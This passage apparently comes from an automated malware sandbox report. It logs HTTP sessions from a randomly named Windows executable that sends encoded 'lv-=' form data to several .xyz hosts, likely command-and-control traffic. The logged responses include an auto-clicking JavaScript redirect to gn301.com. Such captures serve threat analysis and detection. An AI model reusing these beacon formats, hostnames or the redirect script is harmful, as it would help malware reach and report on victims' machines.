2b 36 34 51 36 2f 53 39 4e 70 72 39 59 6c 44 32 46 69 68 79 70 58 43 4a 67 71 61 31 43 4a 42 4f 36 6e 68 33 51 4f 43 6f 31 52 39 6f 70 66 5a 48 44 38 55 6c 53 62 36 34 6f 36 34 70 6a 59 75 48 2f 68 30 36 49 56 31 4d 30 63 51 63 46 6d 59 31 47 52 6d 44 57 67 49 4b 4a 48 36 6d 54 74 4d 42 51 30 4b 6d 2f 45 51 4f 57 72 46 2b 44 46 76 55 2f 42 73 56 75 61 35 4e 76 35 33 6e 49 74 53 7a 45 5a 4e 62 54 7a 4f 44 39 56 53 4b 55 52 6e 61 4d 6e 55 47 67 57 6c 49 47 39 4e 65 4e 79 76 4a 64 69 64 68 4f 55 62 51 38 33 71 75 4d 4d 43 5a 71 32 44 52 6d 37 56 2b 33 6f 68 41 2f 66 46 53 52 47 32 4b 67 [TRUNCATED] Data Ascii: lv-=FSwoOmqr8YoFe0ICS7fGD8JMTP0Ng094NTRLFVG+vSN6B+OtRg0cSdul1d7rJPHxtqRpbx1EFu4vnZxTJQXoYHH/G/dxRUneReYakUNksVwD5S7FSQbI1BFW8WW9RhUZXg0XQixB4+64Q6/S9Npr9YlD2FihypXCJgqa1CJBO6nh3QOCo1R9opfZHD8UlSb64o64pjYuH/h06IV1M0cQcFmY1GRmDWgIKJH6mTtMBQ0Km/EQOWrF+DFvU/BsVua5Nv53nItSzEZNbTzOD9VSKURnaMnUGgWlIG9NeNyvJdidhOUbQ83quMMCZq2DRm7V+3ohA/fFSRG2KgNWHowkVGGAClwnsi9rcxGVgheaPaS8Ik3Ph/rnHqKznlMZnxxoPsmTC2MVmGCqQeS8+6VKT/x+AH8X40lXSeYM+fOY8HN6LceXH/YYxBCMvYyXJ5HSmULRWfmATYTWkAbecCVA/sziJ311EJdWl9hEsu/pf9F5+P/PlO/mOL0c9oI3Wk+feJoF6psy8x8K80DwjPkFo9HW+QttdW9P3IU8kM4bZTX58UZrTpLy8t5hnr2Wz9YfocXS252OG4uxPOds1MP7sIAqNUiBLfFhM2NSORf9Lx6gR5pllNaWbqH3i42U1JPkC5TdQ/hb8li61FVZEnqxv50YGWA1rJpIT/LLI8xMjFJUg8waupNDpe79zDUTdZhfKJ6BywYyKytToWNUDgLGZnCGdOcLvkUubJDvGDOL2xZEaQtHYA7qPNIYeTST9xFxiRXNKd7carlY9v1zRYJhh9GQWhxVc0fTOtJ4R+DdW21ixXn2kHfn/qI6tCAZyYt2U3ibCbpqOz/yX0NNdM636o4ziAzckMUfXqTkflfA4iKAN7kx+le2Z7DFDzYg7OJXv343CI56wIROJAOdsHuUVquK9R/3doXCuU53X9be1GWrUQiSZhszIe08NUMadKoaIQX+3oJAvAr9CwgUCFliCp0p7/0h0h6EeYWPdufdf+OyIvpX [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49735	188.114.97.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:38.004076958 CEST	567	OUT	GET /srh8/?lv-=IQYINTaWkaojOw8AeeCEPfEIeYkq+BJ0MxZ2KDKAvD89Td2DcEp1Lez+9d6wDeiGuMtHeyxXV+kcq5RzRjH8Tl/MEdpNR0v4ePERtHY07mFLqmHNNg==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.globaltrend.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:09:39.950083971 CEST	657	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 09 Jul 2024 10:09:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://www.globaltrend.xyz X-Powered-By: PHP/7.4.6 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cw7nfhUzjNXBsAHsu19wxSiy3KtxqXk2DnMQn2A%2F6mVvWrPCUomfTI79VMiaDUYTGcoMYqg1ojbID7dJecVnkyv5BLQPQTKtWp3Q6ixWrZgDnWz31fR2rn9GtXv2%2Br5xMRAx3hDH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a078507089dc40e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49736	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:45.087320089 CEST	817	OUT	POST /y7ar/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.ffi07s.xyz Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.ffi07s.xyz Referer: http://www.ffi07s.xyz/y7ar/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 42 70 6a 4d 31 37 35 33 64 39 55 34 33 61 45 4b 6d 42 51 30 5a 41 47 4a 63 31 75 6e 53 65 57 77 6b 38 69 68 37 34 33 47 71 71 35 68 71 75 39 58 49 69 42 74 6c 49 69 64 49 5a 4b 43 63 54 68 51 50 4a 62 70 38 6f 77 67 6f 6a 41 53 48 50 42 43 42 59 65 65 6e 73 4d 70 56 63 65 4d 32 58 5a 6f 36 53 50 62 46 50 38 50 33 4a 42 76 66 39 76 67 63 66 73 4c 59 7a 6a 7a 7a 50 53 74 79 2f 4e 39 67 75 30 66 74 34 7a 4e 2b 46 33 6e 71 6f 4a 4a 2b 30 56 39 6f 69 67 47 6e 6e 4c 33 4f 78 70 36 71 36 47 72 6a 4b 7a 37 73 47 4f 49 46 63 39 6f 55 68 6f 58 52 79 34 55 47 65 5a 59 Data Ascii: lv-=BpjM1753d9U43aEKmBQ0ZAGJc1unSeWwk8ih743Gqq5hqu9XIiBtlIidIZKCcThQPJbp8owgojASHPBCBYeensMpVceM2XZo6SPbFP8P3JBvf9vgcfsLYzjzzPSty/N9gu0ft4zN+F3nqoJJ+0V9oigGnnL3Oxp6q6GrjKz7sGOIFc9oUhoXRy4UGeZY
Jul 9, 2024 12:09:45.960496902 CEST	890	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:09:45 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5lRLjnKnb6m%2FNFuJVhLLnR87HvA7TixrfpwVhIhOGD8iuBYKSawC8WFn2Xz8lVkVoeHYc%2FNDSkUXxK5%2F%2FpDealfy%2BP1M1jDJEM9cvfeTc68GF5o8hzjndM9eEeyySYjcng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0785332c278cba-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 31 30 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f cb 6e 83 30 10 45 f7 48 fc c3 d4 7b 98 34 61 d5 1a 4b 09 b8 02 89 3c 5a 39 ad b2 8c c0 ad 91 5a 4c ed 41 b4 7f 5f 01 5d 64 79 e7 6a ce d1 e5 77 f9 31 53 97 93 84 42 ed 2b 38 9d 77 55 99 01 8b 10 df 36 19 62 ae f2 a5 48 e2 d5 3d a2 3c 30 66 88 fa 07 c4 71 1c e3 71 13 5b f7 81 ea 05 0d 7d 7d 26 e8 c9 b5 35 c5 0d 35 4c 84 01 9f 1e 05 2f e4 36 17 5c 95 aa 92 e2 60 09 9e ec d0 35 1c 97 43 18 f0 bd 54 5b 28 94 3a 45 f2 f9 5c be a6 2c b3 1d e9 8e 22 f5 db 6b 06 ff 29 65 a4 7f 68 f6 3c 42 6d ae ce 6b 4a 07 1f 5d 7d dd b6 4c 70 9c 35 61 c0 77 c7 fc 22 b8 59 df ba cc 7a 6a 8c 13 bc 17 93 09 a4 73 d6 41 b2 4a 62 50 46 83 d3 df 83 f6 a4 1b 70 da db c1 d5 1a 5a 0f 9d 25 78 9f 00 31 c7 7e 02 e0 c2 c6 79 d7 1f 00 00 00 ff ff e3 e5 02 00 c8 32 24 ab 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 108Ln0EH{4aK<Z9ZLA_]dyjw1SB+8wU6bH=<0fqq[}}&55L/6\`5CT[(:E\,"k)eh<BmkJ]}Lp5aw"YzjsAJbPFpZ%x1~y2$;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49737	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:47.673365116 CEST	841	OUT	POST /y7ar/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.ffi07s.xyz Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.ffi07s.xyz Referer: http://www.ffi07s.xyz/y7ar/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 42 70 6a 4d 31 37 35 33 64 39 55 34 32 2b 34 4b 72 41 51 30 4d 51 47 4b 58 56 75 6e 59 2b 57 30 6b 38 75 68 37 35 7a 57 71 5a 64 68 71 50 74 58 4a 6e 74 74 67 49 69 64 44 35 4b 48 59 54 68 58 50 4a 47 55 38 70 38 67 6f 6a 55 53 48 4c 4a 43 42 76 43 52 6b 63 4d 72 63 38 65 30 79 58 5a 6f 36 53 50 62 46 50 42 6b 33 4a 4a 76 66 4e 2f 67 64 37 34 4b 47 6a 6a 79 30 50 53 74 34 66 4d 32 67 75 31 79 74 38 7a 6e 2b 48 50 6e 71 70 35 4a 2f 6d 39 2b 6d 69 67 63 36 33 4b 47 65 68 67 57 71 4c 65 54 69 4a 65 51 78 58 43 6f 43 39 64 32 46 54 68 4d 45 6c 34 7a 42 35 51 77 56 35 41 52 4d 6a 6f 50 38 56 4c 58 51 35 38 41 33 6b 5a 73 71 51 3d 3d Data Ascii: lv-=BpjM1753d9U42+4KrAQ0MQGKXVunY+W0k8uh75zWqZdhqPtXJnttgIidD5KHYThXPJGU8p8gojUSHLJCBvCRkcMrc8e0yXZo6SPbFPBk3JJvfN/gd74KGjjy0PSt4fM2gu1yt8zn+HPnqp5J/m9+migc63KGehgWqLeTiJeQxXCoC9d2FThMEl4zB5QwV5ARMjoP8VLXQ58A3kZsqQ==
Jul 9, 2024 12:09:48.562292099 CEST	886	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:09:48 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4tbB1IVtzmAALw6w487BfEl8wHN7TLu1UEbzaemxPWpEmlGyUH8x7ZQofwZz1ASITEHoTAX%2BvAnRKpGQnibEk195%2B9jVuA4urDVYgmHUdO1YzH4bBag%2Bww59qFrgwy4Mfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0785435bb96a5f-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 31 30 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f cb 6e 83 30 10 45 f7 48 fc c3 d4 7b 98 34 61 d5 1a 4b 09 b8 02 89 3c 5a 39 ad b2 8c c0 ad 91 5a 4c ed 41 b4 7f 5f 01 5d 64 79 e7 6a ce d1 e5 77 f9 31 53 97 93 84 42 ed 2b 38 9d 77 55 99 01 8b 10 df 36 19 62 ae f2 a5 48 e2 d5 3d a2 3c 30 66 88 fa 07 c4 71 1c e3 71 13 5b f7 81 ea 05 0d 7d 7d 26 e8 c9 b5 35 c5 0d 35 4c 84 01 9f 1e 05 2f e4 36 17 5c 95 aa 92 e2 60 09 9e ec d0 35 1c 97 43 18 f0 bd 54 5b 28 94 3a 45 f2 f9 5c be a6 2c b3 1d e9 8e 22 f5 db 6b 06 ff 29 65 a4 7f 68 f6 3c 42 6d ae ce 6b 4a 07 1f 5d 7d dd b6 4c 70 9c 35 61 c0 77 c7 fc 22 b8 59 df ba cc 7a 6a 8c 13 bc 17 93 09 a4 73 d6 41 b2 4a 62 50 46 83 d3 df 83 f6 a4 1b 70 da db c1 d5 1a 5a 0f 9d 25 78 9f 00 31 c7 7e 02 e0 c2 c6 79 d7 1f 00 00 00 ff ff e3 e5 02 00 c8 32 24 ab 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 108Ln0EH{4aK<Z9ZLA_]dyjw1SB+8wU6bH=<0fqq[}}&55L/6\`5CT[(:E\,"k)eh<BmkJ]}Lp5aw"YzjsAJbPFpZ%x1~y2$;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49738	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:50.267985106 CEST	1854	OUT	POST /y7ar/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.ffi07s.xyz Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.ffi07s.xyz Referer: http://www.ffi07s.xyz/y7ar/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 42 70 6a 4d 31 37 35 33 64 39 55 34 32 2b 34 4b 72 41 51 30 4d 51 47 4b 58 56 75 6e 59 2b 57 30 6b 38 75 68 37 35 7a 57 71 5a 56 68 71 34 74 58 49 41 5a 74 6e 49 69 64 41 35 4b 47 59 54 68 47 50 4a 4f 59 38 70 41 65 6f 67 73 53 42 5a 52 43 49 39 71 52 2f 73 4d 72 65 38 65 50 32 58 5a 48 36 53 66 66 46 4c 68 6b 33 4a 4a 76 66 4c 37 67 55 50 73 4b 45 6a 6a 7a 7a 50 53 66 79 2f 4d 65 67 71 59 48 74 38 6e 64 2f 7a 7a 6e 6b 70 70 4a 35 54 4a 2b 35 79 67 43 37 33 4b 65 65 68 38 4a 71 4c 79 78 69 49 37 4c 78 57 32 6f 41 35 6f 49 52 43 6c 61 46 33 59 76 41 70 63 4a 56 64 41 6b 47 67 78 77 75 55 50 33 42 5a 4d 58 2b 6c 41 72 70 31 52 68 57 4f 79 32 37 79 68 53 4f 67 30 43 4b 6a 6e 6b 32 53 54 62 38 55 36 35 61 6f 4a 79 31 7a 38 32 74 66 75 42 6a 48 6f 48 35 4b 47 76 55 44 79 74 45 34 45 53 71 69 51 43 7a 32 42 6c 7a 48 64 69 62 2b 53 68 47 6a 64 4b 51 63 46 6f 58 35 41 45 41 56 66 45 54 61 35 49 73 39 4c 6f 54 34 61 55 51 6f 74 5a 32 6f 6e 62 33 56 73 77 30 71 74 79 68 75 6f 2f 32 2b 73 67 55 6d [TRUNCATED] Data Ascii: lv-=BpjM1753d9U42+4KrAQ0MQGKXVunY+W0k8uh75zWqZVhq4tXIAZtnIidA5KGYThGPJOY8pAeogsSBZRCI9qR/sMre8eP2XZH6SffFLhk3JJvfL7gUPsKEjjzzPSfy/MegqYHt8nd/zznkppJ5TJ+5ygC73Keeh8JqLyxiI7LxW2oA5oIRClaF3YvApcJVdAkGgxwuUP3BZMX+lArp1RhWOy27yhSOg0CKjnk2STb8U65aoJy1z82tfuBjHoH5KGvUDytE4ESqiQCz2BlzHdib+ShGjdKQcFoX5AEAVfETa5Is9LoT4aUQotZ2onb3Vsw0qtyhuo/2+sgUmOIq1G3PnhEageXFF1V+mFmHJ4M+e5B2iE/AVQ6E0glY62nlqGT4/B4K5pbdF6ZDd8GdKoJnrUxiKm1ELhr6pSyIRUAKEqOuV7zvmqB/cPjmtTLWe+3qZzmTOUdk14Ijw0UyHZljefBfVNSPOifS6FH1gi+WUbS6DQkxiYOpgrL6GGYs1Tev75Yc8t3ELCBU/C8D6V0ATEQJJg8mc8kbLCEUd7BekjcH9f5aLqpf1Cy5Nzk8rrnGk/booNW3JtLhsHI1gHoujIloxhUwsYb/jmGkP+hfl3EDXfEHJJBrTUwupHv08ngMSfFbaIJCHghpZqqyTz9SXPxso85DgdzZ+s6OhXf8mYglftcpFPlp36dFEUSgmlmyFfgGuEi2jw9MKhaTtgjKDmdw9e5wIwIGXk8VUZq2i2Ichk8GyAuyg0z+MchNVWANxA+b4/ne35L5n/F2ib7VCjGouBzLjbfsg8okqmKSyDQXuhFETPTHeQcbrGRCEgcZsuaIChMFNm7V4wSUbHovLu6NCjZSZ3/Q6DMR3j+hfk0PzjnCuGNc/cgWh1JfVUY+kM53HCr393Hv0k/J4AwxgIWSWTMJ5ftEqm0wSCs44GuhtDv70Dy8p/cf8iqVy0xxhHd1hUpo1YtI2rL1J3s0SmzpEhc9Zux8UjCqpxQmgBAOhGk [TRUNCATED]
Jul 9, 2024 12:09:51.124180079 CEST	890	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:09:51 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BPR%2FbKwVoeKOOgpIs%2FuciWz6Un4VHFXYev0EsEzqhsb0vf8IuI0pH4ciZEtNxMqtpNmCAErJXYin2SdKMYy1HnqP9i5%2BvNfhKhYNupHBb%2BhicBTRDrgPMA2llrLdZEcfwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a078553881f0f8b-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 31 30 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f cb 6e 83 30 10 45 f7 48 fc c3 d4 7b 98 34 61 d5 1a 4b 09 b8 02 89 3c 5a 39 ad b2 8c c0 ad 91 5a 4c ed 41 b4 7f 5f 01 5d 64 79 e7 6a ce d1 e5 77 f9 31 53 97 93 84 42 ed 2b 38 9d 77 55 99 01 8b 10 df 36 19 62 ae f2 a5 48 e2 d5 3d a2 3c 30 66 88 fa 07 c4 71 1c e3 71 13 5b f7 81 ea 05 0d 7d 7d 26 e8 c9 b5 35 c5 0d 35 4c 84 01 9f 1e 05 2f e4 36 17 5c 95 aa 92 e2 60 09 9e ec d0 35 1c 97 43 18 f0 bd 54 5b 28 94 3a 45 f2 f9 5c be a6 2c b3 1d e9 8e 22 f5 db 6b 06 ff 29 65 a4 7f 68 f6 3c 42 6d ae ce 6b 4a 07 1f 5d 7d dd b6 4c 70 9c 35 61 c0 77 c7 fc 22 b8 59 df ba cc 7a 6a 8c 13 bc 17 93 09 a4 73 d6 41 b2 4a 62 50 46 83 d3 df 83 f6 a4 1b 70 da db c1 d5 1a 5a 0f 9d 25 78 9f 00 31 c7 7e 02 e0 c2 c6 79 d7 1f 00 00 00 ff ff e3 e5 02 00 c8 32 24 ab 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 108Ln0EH{4aK<Z9ZLA_]dyjw1SB+8wU6bH=<0fqq[}}&55L/6\`5CT[(:E\,"k)eh<BmkJ]}Lp5aw"YzjsAJbPFpZ%x1~y2$;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49739	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:52.842521906 CEST	562	OUT	GET /y7ar/?lv-=MrLs2OZQS9tqlK4Srgs+GAHAbHC9a9uyqM6nyvTx+aYY18R7NjkvoreXBqubaQ9RYarkm74io0l/Sb1qLPuR8/YoVsWf93Za6ivLQbcIgoRaZNPJDw==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.ffi07s.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:09:53.716774940 CEST	913	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:09:53 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2pCRg47DPFKj4inlIhUwV0x07Y7XsBvb5GG5qpgFM3%2BNlPbvUyRwVKE1h15CLBZEK6A5MVlEaTEoqx1uoCIFSyZZ2ruI02YfqEbup2RH2TsXtaRWlzxN%2FufjjBx8X%2BuqlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a078563aaa97cf9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49740	154.12.34.252	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:00.222301960 CEST	811	OUT	POST /y0md/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.j51a.xyz Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.j51a.xyz Referer: http://www.j51a.xyz/y0md/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6f 6a 77 6c 77 7a 35 68 6a 42 62 2f 2f 6f 6c 68 36 56 67 34 72 57 79 54 32 36 58 6d 48 6e 73 36 5a 6d 31 55 4e 67 34 4d 69 70 41 55 4f 62 63 69 30 44 5a 68 38 36 7a 45 31 65 37 52 54 6a 79 6f 71 57 4c 6c 6d 58 37 54 4a 54 57 6d 6b 5a 31 37 6a 4d 34 75 72 39 56 2f 75 46 47 57 46 4f 30 42 78 46 54 38 32 73 73 42 30 2b 62 5a 2b 33 36 56 37 6d 50 58 63 72 4e 6b 33 30 32 74 69 4c 50 4a 51 6c 4f 6c 61 79 46 64 4a 42 5a 77 71 6b 68 65 74 32 6f 33 77 63 59 61 58 47 7a 33 46 36 4c 4e 6a 47 76 69 6a 32 66 73 70 58 58 39 56 56 58 6a 2b 75 65 76 39 51 58 43 46 76 4f 70 Data Ascii: lv-=ojwlwz5hjBb//olh6Vg4rWyT26XmHns6Zm1UNg4MipAUObci0DZh86zE1e7RTjyoqWLlmX7TJTWmkZ17jM4ur9V/uFGWFO0BxFT82ssB0+bZ+36V7mPXcrNk302tiLPJQlOlayFdJBZwqkhet2o3wcYaXGz3F6LNjGvij2fspXX9VVXj+uev9QXCFvOp
Jul 9, 2024 12:10:00.720489025 CEST	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

